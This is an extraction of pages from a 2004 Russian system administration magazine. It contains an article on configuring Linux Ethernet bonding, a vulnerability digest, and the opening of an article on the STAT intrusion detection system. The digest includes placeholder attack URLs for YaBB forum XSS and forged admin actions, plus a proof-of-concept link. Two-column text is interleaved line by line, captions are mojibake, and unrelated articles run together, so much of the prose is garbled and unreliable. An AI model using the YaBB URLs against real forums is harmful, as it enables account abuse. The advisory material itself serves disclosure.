c помощью Linux bonding (на базе Red Hat v.7.3) как с целью повышения пропускной
способности, так и надёжности сетевого соединения.

ПАВЕЛ ЗАКЛЯКОВ
Года два назад, просматривая одну электронную доску Первый недостаток – необходимость покупки дорогих
объявлений в разделе б/у сетевого оборудования, я наткнул- коммутаторов с поддержкой нескольких или одного порта
ся на заметку о продаже 16-портового коммутатора «Switch по стандарту IEEE 802.3ab (1000Base-T). При этом старый
Surecom EP-716X c поддержкой виртуальной сети и транка коммутатор оказывается не у дел.
на базе портов» плюс прочие документированные возмож- Второй недостаток – необходимость замены кабельной
ности. Цена была низкой, а желание повозиться с настрой- инфраструктуры. Кабели повсеместно используемых на
ками велико. Поэтому я поспешил приобрести его. сегодня категорий 5 и 5e не подойдут по полосе пропуска-
ния, соответственно их придётся также менять.
Третий недостаток – сочетание сетевых карт стандарта
IEEE 802.3ab (1000Base-T) и шины PCI. С некоторой натяж-
кой можно считать, что цена данных устройств относитель-
но невелика. А вот пропускная способность шины PCI 2.0
может оказаться для нас недостаточной: 33 МГц ∗ 32 бита =
1056 Мбит/c [1]. Хотя, 1056 > 1000 следует понимать, что
различные накладные расходы, особенно для карт стоимо-
стью менее $25, приведут к тому, что реальная пропускная
способность окажется ниже 1000 Мбит/c. При большой заг-
рузке сети это приведёт к тому, что буфер не будет успе-
вать обрабатываться, возникнут потери пакетов. Как след-
ствие – повторная передача и ещё большее снижение про-
пускной способности. Также не следует упускать из виду,
что многие серверы часто имеют не одну сетевую карту, а
несколько.
Ðèñóíîê 1. Ôîòîãðàôèÿ êîììóòàòîðà Surecom EP-716X Если согласно спецификации PCI 2.1 (и выше) вмес-
Ситуация на рынке год от года не меняется, скорости то тактовой частоты шины в 33 МГц использовать 66 МГц,
передачи данных неизменно растут, выходят новые версии то подобных эффектов удастся избежать, однако в этом
и т. д. Несмотря на рост скоростей в сетях с выделенным случае возможны проблемы c другим оборудованием, не
сервером, узким местом все равно остаётся точка соеди- поддерживающим частоту шины 66 МГц. Использование
нения сервера с локальной сетью. Если взять наиболее PCI-X или 64-разрядной шины PCI (даже при тактовой ча-
часто используемый вариант, то используется сеть Fast стоте 32 МГц) решает проблему технически, но часто де-
Ethernet и сетевые адаптеры с пропускной способностью лает её финансово непосильной. Материнские платы с
100 Мбит/с. В результате если к серверу обращается одно- поддержкой 64-разрядной шины PCI уже относятся к сер-
временно 20 компьютеров, то пропускная способность па- верному классу и стоят соответствующе. «Склепать де-
дает до 5 Мбит/c, а за вычетом служебной информации ре- шёвый сервер на коленке» не получится.
альная пропускная способность оказывается ещё меньше. Единственный недорогой выход для данной ситуации –
Выход из данной ситуации может быть только один – уве- это использование нескольких обычных сетевых карт. Зат-
личивать пропускную способность со стороны сервера. Если раты при этом минимальны: $5 + один вечер и результат
на сервере в качестве делимого взять не 100, а 1000 Мбит/c, усилий (удвоение пропускной способности) налицо. По это-
то в теории средняя скорость передачи на один компьютер му пути я и пошёл.
должна увеличиться в 10 раз. Характеристики повсемест- Первое, что мне бросилось в глаза в описании, – это
но продаваемого сетевого оборудования указывают на тот была фраза: «Support Port-Base Trunking», интуитивно по-
факт, что развитие идёт именно в этом направлении. Од- няв, что это то, что мне нужно, я залез на веб-страницу
нако на данном пути есть несколько препятствий, не позво- настройки и выставил одну транкинговую группу из 1-го и
ляющих делать переход массовым и незаметным. 9-го портов.

54
сети
После компиляции ядра я зашёл в директорию, где на-
ходится исходный файл ifenslave.с:

# cd /usr/src/linux/Documentation/networking

и скомпилировал из него утилиту ifenslave (которая «под-


ключает» к общему интерфейсу bond0(bond1, ...) другие
подчинённые интерфейсы) командой:

# gcc -Wall -Wstrict-prototypes -O ↵


-I/usr/src/linux/include ifenslave.c -o ifenslave

Получившийся файл я скопировал в директорию /sbin:

# cp ifenslave /sbin/ifenslave

Ðèñóíîê 2. Ïîðòû 1 è 9 íàõîäÿòñÿ â ðåæèìå port trunking Для организации работы с модулем и передачи ему па-
(По непонятным для меня причинам, настройку транкин- раметров необходимо добавить следующие строчки в файл
га портов с помощью протокола telnet разработчики поче- /etc/modules.conf:
му-то не сделали.) Далее я установил вторую карточку на
компьютер, подключаемый к коммутатору в качестве сер- alias bond0 bonding
options bond0 miimon=100 mode=0 downdelay=2000 updelay=5000
вера, соединил всё хозяйство патчкордами, и в результате
у меня получилась следующая схема соединений. Параметры, естественно, можно задать другие, но об
этом чуть позже. Чтобы было удобно воспользоваться стан-
дартной командой:

/etc/rc.d/init.d/network (start|stop|restart...)

а не вводить каждый раз параметры вручную через ifconfig,


следует создать следующие файлы (либо внести в них из-
менения, если файлы уже имеются):

/etc/sysconfig/network-scripts/ifcfg-bond0
Ðèñóíîê 3. Ñõåìà ñîåäèíåíèé DEVICE=bond0
Понимая, что само по себе железо работать не будет, я IPADDR=192.168.0.1
NETMASK=255.255.255.0
занялся поисками литературы и настройкой программного NETWORK=192.168.0.0
обеспечения. Основным документом, который частично по- BROADCAST=192.168.0.255
ONBOOT=yes
мог мне разобраться с проблемой, оказался Linux Ethernet BOOTPROTO=none
Bonding Driver mini-howto из комплектации ядра(v.2.4.27), на- USERCTL=no
ходящийся по следующему пути: /usr/src/linux/Documentation/ /etc/sysconfig/network-scripts/ifcfg-eth0
networking/bonding.txt. В сети этот документ можно найти
DEVICE=eth0
по адресу [2]. Желая иметь монолитное ядро, я отказался USERCTL=no
от рекомендаций компилировать Linux bonding в виде мо- ONBOOT=yes
MASTER=bond0
дуля. Всё бы хорошо, но объединение каналов почему-то SLAVE=yes
не работало как надо. При отключении кабелей от сетевых BOOTPROTO=none
интерфейсов ядро Linux продолжало думать, что всё в по- /etc/sysconfig/network-scripts/ifcfg-eth1
рядке. Убедившись в правильности совета, я скомпилиро-
DEVICE=eth1
вал ядро повторно, выбрав «Bonding driver support» в каче- USERCTL=no
стве модуля в разделе «Network device support». ONBOOT=yes
MASTER=bond0
SLAVE=yes
BOOTPROTO=none

На случай, если ваша система будет себя вести иначе,


чем Red Hat v.7.3 и ему подобные, например, откажется по-
нимать параметр SLAVE и не «привяжет» интерфейсы eth0
и eth1 в качестве подчинённых к bond0, это можно сделать
руками с помощью следующих команд:

# /sbin/ifconfig bond0 192.168.0.1 ↵


netmask 255.255.255.0 broadcast 192.18.0.255 up
Ðèñóíîê 4. Âûáîð «Bonding driver support» â êà÷åñòâå ìîäóëÿ # /sbin/ifenslave bond0 eth0

№10(23), октябрь 2004 55


сети
# /sbin/ifenslave bond0 eth1 В первом случае небольшая схема на сетевой плате или
часть основной микросхемы отслеживают состояние подклю-
В случае возникновения проблем с настройкой нестан- ченности и режима работы сети. Какая скорость – 10 или
дартных конфигураций рекомендую обратиться к первоис- 100 Мбит/c? Полный ли дуплекс? Есть ли связь вообще или
точнику [2]. нет? Эти данные с сетевой платы можно снимать и исполь-
зовать в благих целях. Для применения этого режима диаг-
Теория. О режимах работы ностики ваша карта должна поддерживать функцию мони-
Смысл организации объединённых каналов обычно очень торинга MII-статуса, и эта функция должна быть включена.
прост: либо нужно повышение пропускной способности, Часть ядра, отвечающая за bonding, исходя из этой инфор-
либо увеличение надёжности, либо и то, и другое вместе. мации, может принимать решение о целесообразности ис-
Несмотря на то, что идеология построения объединённых пользования того или иного сетевого интерфейса для пере-
каналов относительно прозрачна, существует несколько дачи данных. Дополнительно можно настроить периодич-
различных режимов совместной работы. ность, с которой осуществляется проверка. Рекомендуется
! Round robin, rr, 0. Круговой, основанный на последова- использовать значение в 100 мс. Сильно уменьшать время
тельном использовании подчинённых интерфейсов для не следует, так как это будет в значительной мере загру-
передачи через них пакетов в том порядке, как они были жать систему. Увеличивать тоже особого смысла нет – мо-
подключены. В этом режиме интерфейсы наиболее рав- жет привести к росту числа повторных передач пакетов.
номерно загружены. Второй способ более медленный, зато более надёжный
! XOR, 2. Режим, в котором подчинённый интерфейс для и может работать с древними сетевыми картами, не под-
передачи конкретного пакета выбирается по формуле держивающими мониторинг на основе MII-статуса.
«(src hw addr XOR dst hw addr) % slave», где «src hw addr» Для этого способа используется какой-либо отдельный
и «dst hw addr» есть MAC-адреса отправителя и получа- IP-адрес рабочего компьютера или адрес шлюза, которые
теля, приведённые к целочисленному виду, а slave – чис- всегда должны быть в сети в рабочем состоянии. Периоди-
ло работающих подчинённых интерфейсов. Определе- чески на этот адрес посылаются ARP-запросы, на которые
ние интерфейса для отправки пакетов напрямую зави- согласно требованиям, предъявляемым к хостам [5], долж-
сит от адреса получателя. При такой схеме выбора про- ны отсылаться ARP-ответы. Если вдруг запросы перестали
исходит примерно равномерное распределение оппо- уходить или перестали приходить ответы – значит пропала
нентов информационного обмена по интерфейсам с их связанность и канал следует исключить из использования
«виртуальной» взаимной привязкой друг к другу. во избежание потери пакетов. Простой пример конфигура-
! Active-backup, 1. Режим горячей замены. В каждый мо- ции сети, где этот метод сработает лучше, чем мониторинг
мент времени работает только один интерфейс. Если MII-статуса, представлен на рисунке 5. Например, во вре-
рабочий канал выходит из строя, то начинает использо- мя переезда внутри здания некоторое устройство, ранее
ваться какой-либо один резервный интерфейс (из со- сообщавшееся с сервером Linux напрямую двумя канала-
подчинённых главному) взамен «отказавшего». Данный ми Ethernet, оказалось сильно отнесено (более чем на 180
режим используется в основном в системах повышен- метров). Благодаря особенностям организации сети,
ной надёжности. Ethernet стало невозможным использование столь длинно-
го сегмента без ретрансляторов, в результате чего было
Диагностика: «жив ли link?» принято решение о применении двух коммутаторов посе-
Когда все связи активны и система работает, как это от редине с целью обеспечения связи устройства с сервером.
неё ожидается, может сложиться впечатление, что диагно- Сервер как работал в режиме объединения каналов с ди-
стика не нужна. Однако не используя её постоянно в рабо- агностикой в виде мониторинга MII-статуса, так и продол-
чем режиме, сложно поймать тот момент, когда что-то пе- жает работать. Теперь, если произойдёт сбой на участке,
рестало работать. Соответственно, можно пропустить мгно- отмеченном красным крестиком (между коммутатором 1 и
вение, когда нужно начать более активно использовать дру- устройством) (см. рис. 5), сервер об этом не узнает. Так как
гие соподчинённые интерфейсы, полностью отказавшись связь на участке «eth0 – коммутатор 1» есть, сервер будет
от сломанного. Если этого не сделать вовремя, то будет продолжать посылать по данному каналу пакеты, которые
большой процент потерь пакетов, далее увеличение числа будут успешно теряться на коммутаторе.
повторных передач и как следствие падение пропускной Если в данной схеме использовать мониторинг по ARP-
способности ниже, чем если бы работал только один ин- запросам и ответам, то, не получив ответа от устройства,
терфейс без настройки всяких linux bonding. сервер поймёт, что связность в этом направлении наруше-
Существует два способа диагностирования (мониторин- на и откажется от использования испорченного канала.
га) связанности:
! с помощью статуса Media Independent Interface (MII);
! c помощью ARP-запросов и ответов.

Несмотря на то что теоретически эти способы можно


использовать вместе, на практике они не совмещаются. Ви-
димо, разработчики этой части ядра сочли такую функцио-
нальность излишней. Расмотрим эти способы подробнее. Ðèñóíîê 5. Ïðèìåð, ãäå ìîíèòîðèíã MII ñòàòóñà íåïðèìåíèì

56
сети
Параметры, передаваемые модулю cat /proc/net/bonding/bond0 выводит:
Чуть выше без пояснений были выбраны следующие пара-
Bonding Mode: load balancing (round-robin)
метры: miimon=100 mode=0 downdelay=2000 updelay=5000. MII Status: up
Давайте рассмотрим более подробно эти и другие парамет- MII Polling Interval (ms): 100
Up Delay (ms): 5000
ры, с помощью которых можно менять режим работы.
Down Delay (ms): 2000

mode Slave Interface: eth0


MII Status: down
Параметр, выбирающий режим работы, возможные значения: Link Failure Count: 1
0,1,2 для Round robin, XOR, active backup соответственно. Permanent HW addr: 00:50:22:e1:9e:3e

Slave Interface: eth1


miimon MII Status: up
Число мс (тип integer) – как часто производится монито- Link Failure Count: 0
Permanent HW addr: 00:02:44:8b:c9:c1
ринг MII статуса. 0 – мониторинг отключен. Рекомендуемое
значение 100 мс. далее вставляем кабель обратно и наблюдаем в /var/log/
messages появление строк:
downdelay Sep 22 18:03:23 LINUX2 kernel: eth0: link up, 100Mbps, full-duplex,
Задержка в мс (тип integer) с того момента, как было обна- lpa 0x45E1
ружено, что связь пропала, до того, как данный канал пе- Sep 22 18:03:23 LINUX2 kernel: bonding: bond0: link status up
for interface eth0, enabling it in 5000 ms.
рестанет использоваться. Задержка нужна, чтобы отфиль- Sep 22 18:03:28 LINUX2 kernel: bonding: bond0: link status definitely up
тровывать кратковременные сбои. Например, после пере- for interface eth0
ключения патчкорда в течение нескольких секунд совсем /proc/net/bonding/bond0 соответственно для eth0 отобра-
не обязательно терять связь на минуту или больше. По умол- жает:
чанию используется 0 – нет задержки.
MII Status: up

updelay Повторим тест, но на этот раз отсоединяем кабель от eth1.


То же самое, что и downdelay, но определяющее задержку По идее должно быть всё то же самое, но, увы. С 192.168.0.1
по включению, на тот случай, если какой-нибудь switch или ICMP-запросы уходят и доходят до 192.168.0.5, далее на них
hub «не до конца включились». Напряжение на порт пода- отсылается ответ, о чём свидетельствует tcpdump, запущен-
но, а пакеты ещё корректно не принимаются. Если в этот ный на обеих машинах, а вот до 192.168.0.1 ответы уже не
момент передать данные – они потеряются, а если немного доходят, теряясь где-то внутри коммутатора. Через некото-
подождать, то этого не случится. рое время устаревает arp-таблица, и пакеты вообще пере-
стают уходить.
arp_interval Переставляем патчкорды на коммутаторе местами и по-
С какой периодичностью в мс (тип integer) осуществлять вторяем ситуацию, ситуация с eth0 и eth1 меняется также
ARP-мониторинг. Значение 0 означает что ARP-мониторинг местами, из чего делаем вывод о плохой работоспособнос-
выключен. ти конкретного экземпляра Switch Surecom EP-716X. Как
результат тоже неплохо.
arp_ip_target Попытки найти прошивку новее, чем v.1.3, как и выйти
IP-адрес, по которому осуществлять ARP-мониторинг (в слу- на контакт с кем-то из техподдержки Surecom, не увенча-
чае если arp_interval>0). Если с данного адреса нет ARP- лись успехом.
ответов, то значит канал, по которому посылались запро- Однако это ещё не конец статьи. Мной было замечено,
сы, не работает. что если два кабеля от eth0 и eth1 воткнуть в обычные пор-
ты этого или любого другого коммутатора либо отключить
Linux bonding на практике port trunking у экземпляра выше, то объединение каналов
Как оказалось, практика расходится с теорией, и не всё у работает, но с небольшими оговорками.
меня работало так, как хотелось. Проводимые испытания и В [2] рассмотрен такой случай, когда используется не-
результаты были следующими: сколько коммутаторов или один без поддержки port trunking,
Была создана схема, указанная на рисунке 3, все связи однако там используется режим повышенной надёжности,
в ней целые. и одна из карточек стоит в горячем резерве (Active backup,
mode=1). При этом в одно и то же время обе карточки не
Çàïóñêàåì íà 192.168.0.5: tcpdump icmp работают, чтобы не смущать коммутатор своими одинако-
Çàïóñêàåì íà 192.168.0.1: ping 192.168.0.2 -I bond0
Çàïóñêàåì íà 192.168.0.1 íà äðóãîé êîíñîëè: tcpdump icmp выми MAC-адресами. Точнее, на одной из них установлен
флаг NOARP. И, естественно, ни о каком увеличении про-
Пакеты проходят нормально. Отсоединяем сетевой шнур пускной способности в 2 раза речь не идёт.
от eth0, и в /var/log/messages появляются строки: Испытания на обычном коммутаторе показали следую-
щую картину. Пакеты посылаются по обоим интерфейсам
Sep 22 17:55:19 LINUX2 kernel: bonding: bond0: link status down поочерёдно. Обратно приходят также на два интерфейса
for idle interface eth0, disabling it in 2000 ms.
Sep 22 17:55:21 LINUX2 kernel: bonding: bond0: link status definitely вразнобой. Выдвигаю гипотезу, что приходящий пакет ком-
down for interface eth0, disabling it мутатором посылается на последний работавший интер-

№10(23), октябрь 2004 57


сети
фейс. Если отключить один провод от сетевой карты, то Так как со стороны Linux, скорее всего, я настроил всё
три исходящих пакета теряются, а далее связь восстанав- правильно, то думаю, что проделанная работа кому-нибудь
ливается. Если отключить провод от другой сетевой карты, пригодится. Возможно, окажись у меня под рукой другой
ситуация почти аналогична – либо также теряются первые коммутатор, всё бы сразу заработало как надо. Если у кого-
три исходящих пакета, либо ничего не теряется. Объяснить то объединение портов работает нормально с другим обо-
это можно тем, что подчинённые интерфейсы eth0 и eth1 рудованием (поддерживающим port trunking), буду рад об
не совсем равнозначны для bond0. Чем раньше подчинён- этом услышать. Также мне интересно узнать, какие могут
ный интерфейс был подключён к общему, тем выше у него возникнуть проблемы с обычными коммутаторами (не под-
приоритет. Если отключить самый приоритетный (в объе- держивающими объединение портов) и почему у меня они
динённом канале может быть более двух подчинённых), то не возникли.
роль первенства переходит другому интерфейсу, и тогда Замечание 1. Никто не мешает организовать несколько
теряется часть пакетов. Если отключить менее приоритет- непересекающихся групп объединяемых каналов. При этом
ный, то всё нормально. Каких-либо дополнительных про- необходимо загрузить модуль несколько раз, то есть в /etc/
блем мною замечено не было. Возможно, сказалась малень- modules.conf прописать две или более строчек вместо одной.
кая нагрузка моей тестовой сети, состоящей из четырех ком-
пьютеров, хотя, думается, что и при большем числе ком- alias bond0 bonding
alias bond1 bonding
пьютеров всё будет работать так же.
Ещё интересное наблюдение было сделано по резуль- Ну и потом, при обращении к каждому модулю (обратите
татам анализа tcpdump в разных точках. На 192.168.0.1 был внимание, что используются разные модули, а не один и тот
запущен ping, посылающий раз в секунду ICMP-запросы на же под псевдонимами) передать каждому свои параметры.
адрес 192.168.0.2.
options bond0 miimon=100
tcpdump icmp -I eth0 на 192.168.0.1 перехватил следующее: options bond1 -o bonding1 miimon=100
20:16:52.578951 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)
20:16:54.578941 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) Замечание 2. Как я понял в процессе написания статьи,
20:16:56.578950 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) терминов, обозначающих объединение каналов, много. Узнать,
20:16:58.578947 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)
20:17:00.578945 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) почему их много и чем они отличаются, мне не удалось. Скла-
дывается впечатление, что каждая фирма хочет быть зако-
tcpdump icmp -I eth1 на 192.168.0.1 перехватил следующее:
20:16:53.578947 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)
нодателем мод. Всего мне встретилось 5 вариантов:
20:16:55.578954 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) ! Aggregate link – в терминологии Intel;
20:16:57.578951 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) ! Port trunking – в терминологии D-link, 3Com, Surecom;
20:16:59.578942 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)
20:17:01.578948 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) ! Sun Trunking – в терминологии SUN;
! EtherChannel – в терминологии CISCO;
tcpdump icmp -I bond0 на 192.168.0.1 перехватил следующее:
20:16:52.578933 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)
! Bonding – в терминологии Linux, FreeBSD.
20:16:52.579111 192.168.0.2 > 192.168.0.1: icmp: echo reply
20:16:53.578926 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) Ещё мне встретился термин «load balancing», но это
20:16:53.579106 192.168.0.2 > 192.168.0.1: icmp: echo reply
20:16:54.578921 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) немного другое, никакого отношения к объединённым ка-
20:16:54.579130 192.168.0.2 > 192.168.0.1: icmp: echo reply налам не имеет. Сетевые карты не работают в паре на ка-
20:16:55.578933 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) нальном уровне и имеют различные сетевые адреса, при
20:16:55.579142 192.168.0.2 > 192.168.0.1: icmp: echo reply
20:16:56.578928 192.168.0.1 > 192.168.0.2: icmp: echo request (DF) этом могут быть установлены на разных компьютерах.
20:16:56.579117 192.168.0.2 > 192.168.0.1: icmp: echo reply Замечание 3. Идя по пути экономии, технологию объе-
...
динения каналов при желании можно использовать для
Как легко заметить, исходящие пакеты чередуются с Gigabit Ethernet. Скорее всего, объединять будет выгоднее,
выбором интерфейса. В 52, 54, 56, 58 секунд они уходят с чем иметь один канал на 10 Гбит/c.
интерфейса eth0, а в 53, 55, 57, 59 – с интерфейса eth1.
При этом на интерфейсе bond0 их можно наблюдать вмес- Литература, ссылки:
те в 52, 53, 54, 55 и т. д. секунд показывающими, что утили- 1. С.Мюллер Модернизация и ремонт ПК, 14-е издание.:
та ping действительно посылает раз в секунду ICMP-запро- Пер. с англ. – М.: Издательский дом «Вильямс», 2003,
сы. Также забавно то, что на интерфейсе bond0 можно на- стр. 294.
блюдать и ICMP-ответы на посланные запросы, в то время 2. Linux Ethernet Bonding Driver mini-howto
как на интерфейсах eth0 и eth1 их почему-то не видно, хотя http://www.kernel.org/pub/linux/kernel/people/marcelo/
они реально приходят. Если включить мониторинг портов linux-2.4/Documentation/networking/bonding.txt
на коммутаторе или поставить в разрыв провода мост, то 3. Реализация механизма Cisco Fast EtherChannel для
там видны все пакеты. FreeBSD.
Я задал этот вопрос (почему не видны приходящие от- http://avdor.irkutsk.ru/faq/article.php?show_id=308
веты на интерфейсах eth0 и eth1) Willy Tarreau <willy@ 4. Bundling network interfaces with ng_one2many
w.ods.org>, упомянутому в [2]. Он ответил, что это происхо- http://unixpages.org/one2many_tut.html, http://bsdvault.net/
дит потому, что модуль bonding работает на очень низком sections.php?op=viewarticle&artid=98
уровне, ниже того места, где в обычном режиме цепляется 5. RFC 1127: A Perspective on the Host Requirements RFCs
tcpdump. ftp://ftp.rfc-editor.org/in-notes/rfc1127.txt

58
bugtraq

Удаленная перезапись памяти в PHP Несколько уязвимостей


Программа: PHP 5.0.1 и более ранние версии. в Microsoft Windows
Опасность: средняя. Опасность: критическая.
Описание: Уязвимость обнаружена в PHP, в обработке Описание: Несколько уязвимостей обнаружено в Microsoft
MIME-данных. Уязвимость в обработке массивов обнару- Windows. Злонамеренный пользователь может вызвать от-
жена в SAPI_POST_HANDLER_FUNC() функции в rfc1867.c. каз в обслуживании, повысить привилегии или скомпроме-
Удаленный пользователь может перезаписать элемент мас- тировать уязвимую систему.
сива $_FILES. Отсу тствие ограничений на нескольких Window
URL производителя: http://www.php.net. Management API-функциях позволяют злонамеренной про-
Решение: Исправление доступно через CVS: http:// грамме изменить свойства других программ, запущенных
cvs.php.net/php-src/main/rfc1867.c. с более высокими привилегиями. В результате локальный
пользователь может изменить свойства привилегирован-
Обход ограничений и DoS-атака в MySQL ного процесса.
Программа: MySQL 3.23. Уязвимость в компоненте, используемой для обработ-
Опасность: средняя. ки VDM (Virtual DOS Machine) подсистемы, позволяет полу-
Описание: Обнаружено две уязвимости в СУБД MySQL. чить доступ к защищенной памяти ядра. В результате зло-
Удаленный авторизованный пользователь может повысить намеренный локальный пользователь может получить
свои привилегии в БД или вызвать отказ в обслуживании. SYSTEM-привилегии через специально обработанную про-
URL производителя: http://www.mysql.com. грамму.
Решение: Установите обновление: http://www.mysql.com/ Переполнение буфера обнаружено в Graphics Rendering
doc/en/Installing_source_tree.html. Engine при обработке WMF (Windows Metafile) и EMF
(Enhanced Metafile) изображений. Злонамеренный пользо-
Удаленное выполнение ватель может создать специально обработанное изображе-
произвольного кода в Icecast ние, чтобы скомпрометировать систему целевого пользо-
Программа: Icecast 2.0.1 и более ранние версии. вателя, открывшего это изображение или посетившего зло-
Опасность: средняя. намеренный веб-сайт.
Описание: Переполнение обнаружено в Icecast. Удаленный Злонамеренный пользователь может вызвать отказ в
пользователь может выполнить произвольный код на це- обслуживании через специально обработанную программу,
левой системе. эксплуатируя уязвимость в Windows-ядре.
Удаленный пользователь может представить HTTP-зап- URL производителя: http://www.Microsoft.com.
рос, содержащий более 32 строк заголовка, чтобы вызвать Решение: Установите соответствующее обновление.
переполнение буфера и выполнить произвольный код.
Пример: http://aluigi.altervista.org/poc/iceexec.zip. Межсайтовый скриптинг и выполнение
URL производителя: http://www.icecast.org. административных действий
Решение: Установите обновленную версию программы: в форуме YaBB
http://www.icecast.org/download.php. Программа: YaBB 1 GOLD SP 1.3.2.
Опасность: средняя.
Переполнение буфера в обработке Описание: Две уязвимости обнаружены в YaBB. Злонаме-
JPEG-изображений в нескольких ренный пользователь может выполнить XSS-нападение и
продуктах Microsoft обойти некоторые ограничения безопасности.
Опасность: критическая. XSS:
Описание: Уязвимость обнаружена в нескольких продук-
тах Microsoft в обработке JPEG-изображений. Злонамерен- http://[victim]/YaBB.pl?board=;action=imsend;to=[code]
ный пользователь может скомпрометировать систему
пользователя. Злонамеренный пользователь может опубликовать со-
Переполнение буфера обнаружено внутри JPEG Parsing общение, содержащее изображение, которое ссылается на
компоненты (Gdiplus.dll). Злонамеренный пользователь URL, используемый при выполнении административных
может сконструировать специально обработанное JPEG- действий. В результате административное действие будет
изображение, которое вызовет переполнение буфера при автоматически выполнено, когда администратор читает
попытке просмотреть это изображение, используя уязви- сообщения форума. Пример:
мую компоненту. Уязвимость может использоваться для вы-
полнения произвольного кода на системе пользователя. http://[victim]/YaBB.pl?board=;action=modifycat; ↵
id=[cateogoryname];moda=Remove2
URL производителя: http://www.microsoft.com/technet/
security/bulletin/ms04-028.mspx. URL производителя: www.yabbforum.com.
Решение: Установите соответствующее обновление. Решение: Способов устранения обнаруженной уязвимос-
Microsoft также выпустила утилиту, которая позволяет оп- ти не существует в настоящее время.
ределить уязвимую компоненту на системе: http://
support.microsoft.com/default.aspx?scid=kb;EN-US;873374. Составил Александр Антипов

№10(23), октябрь 2004 59


безопасность

STAT – СОВСЕМ ДРУГАЯ IDS

СЕРГЕЙ ЯРЕМЧУК
Сегодняшний бизнес тяжело представить без использова- рольных записей, произведенных средствами аудита опе-
ния Интернет и сетей TCP/IP. Доступ к необходимой инфор- рационной системы, записи в журналах приложений и раз-
мации с любой точки планеты является несомненным удоб- личными типами датчиков, в том числе и трафик, получен-
ством, стоит воспользоваться хоть раз, и уже не представ- ный прослушиванием сетевых интерфейсов. Одни систе-
ляешь свой бизнес без этого. Но вместе с тем это несет и мы, используя заранее составленные описания атак (сиг-
свои проблемы. Сегодня основную нагрузку по защите се- натуры) и сравнивая, принимают решения о начале атаки.
тей принимают на себя firewall и приложения уровня доме- Такие IDS относятся к классу signature/rule-based/misuse и,
на, предназначенные для подтверждения подлинности поль- как правило, не могут обнаруживать новые, еще не зане-
зователей. Несмотря на то что эти приложения в основном сенные в базу атаки, что делает их бесполезными в начале
справляются со своей задачей, они не могут полностью ре- эпидемий, к тому же они склонны генерировать ложные по-
шить все проблемы по защите сетей и отдельных хостов. И зитивные предупреждения. Другие, anomaly detection-сис-
как следствие, на помощь приходят системы обнаружения темы, используют разные методы и алгоритмы, в которых
атак (СОА или Intrusion detection systems – IDS). СОА, ана- используются и контролируются модели «нормального»
лизируя информацию относительно всех контролируемых поведения системы, основанные на статистических данных
действий, выполненных в компьютерной системе или сети, или на некоторых правилах, отклонения от которых свиде-
производят поиск доказательств злонамеренных действий. тельствуют о возможных неприятностях. Такие системы,
Проверяемая информация может принимать форму конт- хоть также обладают недостатками, так как требуется не-

60
безопасность
которое время на их обучение, которое к тому же при неко- Методика анализа смены состояний (STAT) описывает
торых обстоятельствах может быть и не 100% эффектив- возможные угрозы как некие сценарии. В сценариях атаки
ным. Они все же позволяют обнаруживать новые атаки, но представлены как последовательности состояний, которые
также не застрахованы от выдачи ложных тревог, особен- характеризуют эволюцию состояний защиты системы от на-
но в динамичных средах. Скорее всего, в ближайшем буду- чального до скомпрометированного. Описания атак вклю-
щем будут использоваться комбинированные системы, со- чают в себя как минимум две позиции: запускающее initial-
четающие в себе положительные свойства обеих систем. состояние и по крайней мере одно конечное состояние ком-
За примером далеко ходить не надо – Snort (http:// прометации системы. Так, в сценарии атаки, описывающей
www.snort.org) поддерживает проверку аномалий в сети попытку нарушить защиту операционной системы, форму-
посредством препроцессоров (preprocessors). Препроцес- лируются утверждения вроде монопольного использования
соры проверяют данные пакетов после декодера Snort, но файла, идентификации или авторизации пользователя, а в
до того как механизм детектирования начинает сравнивать сценарии, описывающем сканирование портов, описыва-
правила, добавляя дополнительные возможности всей си- ются типичные действия и сегменты TCP, используемые при
стеме. Хотя в сильно загруженных сетях их применение сканировании портов хоста.
может увеличить нагрузку на систему, и к тому же большая Для описания сценариев атаки используется расширя-
их часть находится в концептуальном состоянии, и они мо- емый язык STATL. Вообще надо отметить, в последнее вре-
гут вызывать большое количество ложных срабатываний, мя заметен интерес к подобным разработкам и появилось
но, надо отметить, возможна тонкая подстройка препроцес- множество языков, что полностью оправдывает себя, т.к.
соров под конкретные условия. Но, несмотря на наличие появляется возможность выявить общие закономерности,
препроцессоров, Snort все-таки больше signature IDS, чем присущие атакам, произвести их классификацию и анализ
anomaly. Совсем другой подход. зависимостей среди различных атак, что позволит опозна-
Проект State Transition Analysis Technique (STAT) исполь- вать скоординированные и растянутые по времени атаки
зует несколько иной метод обнаружения угроз. Основан этот против компьютерных систем. По крайней мере сейчас из-
метод на абстракциях, где вместо конкретных деталей ис- вестны шесть категорий «attack languages»: языки собы-
пользуются обобщенные модели атак, которые затем опи- тий, языки реакции, языки отчетов, языки корреляции, язы-
сываются в возможных сценариях атак. Процесс абстрак- ки эксплоитов и языки детектирования. STATL относится к
ции от обычной формы (т.е. простых контрольных записей последней категории, т.е. к языкам детектирования, кото-
или сетевых пакетов) к представлению более высокого рые имеют соответствующие механизмы и абстракции, по-
уровня сделан так, чтобы различные действия в системе зволяющие описать атаку. Сама же атака в STATL пред-
статистически независимых низкоуровневых факторов ставляется как последовательность состояний и переходов.
были по возможности представлены к единому типу. Кро- Состояния характеризуют систему в различные моменты
ме того, методология STAT поддерживает такой подход мо- развития атаки. Описывается только необходимое для оп-
делирования, который представляет только те действия, ределения атаки (например, атрибуты файловой системы).
которые являются критическими для эффективности ата- Переходы же ассоциируются со специфическими условия-
ки в целом. ми, которые необходимо выполнить для перехода в новое
При этом отход от специфики конкретной атаки делает состояние. Например, после обнаружения бинарных дан-
возможным обнаруживать ранее неизвестные варианты ных в запросе веб-сервера ожидается открытие еще одно-
атаки или атаки, использующие подобные механизмы, т.е. го TCP-соединения или запуск приложения. Возможное раз-
подход STAT лишен недостатков, присущих signature-based- витие событий контролируется фильтрами утверждений
